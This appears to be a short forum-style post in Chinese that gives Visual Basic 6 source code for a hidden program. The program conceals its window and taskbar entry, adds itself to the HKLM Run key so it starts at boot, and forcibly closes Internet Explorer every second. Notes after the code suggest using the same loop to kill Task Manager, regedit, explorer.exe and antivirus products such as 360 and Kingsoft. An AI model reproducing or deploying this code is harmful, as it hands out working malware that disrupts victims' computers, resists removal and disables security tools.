Private Sub Form_Load()
Form1.Visible = False             '隐藏窗体
App.TaskVisible = False           '隐藏进程

 '写入注册表,开机自动运行
 Set w = CreateObject("wscript.shell")
 w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"            '上一行的 否则报错

  Timer1.Interval = 1000
End Sub
Private Sub Timer1_Timer()
  Randomize
  Shell "taskkill /f /im iexplore.exe", vbHide    '关闭IE
End Sub
-----------------------------------------------------------------------
以下为引申
利用 Shell "taskkill /f /im 进程", vbHide 可以关闭自己想杀的进程,如QQ.exe，explorer.exe,taskmgr.exe(任务管理器),regedit.exe(注册表)甚至360安全卫士，金山
放入时间控件代码中 达到循环
修改注册表现在杀毒软件都要报吧
------------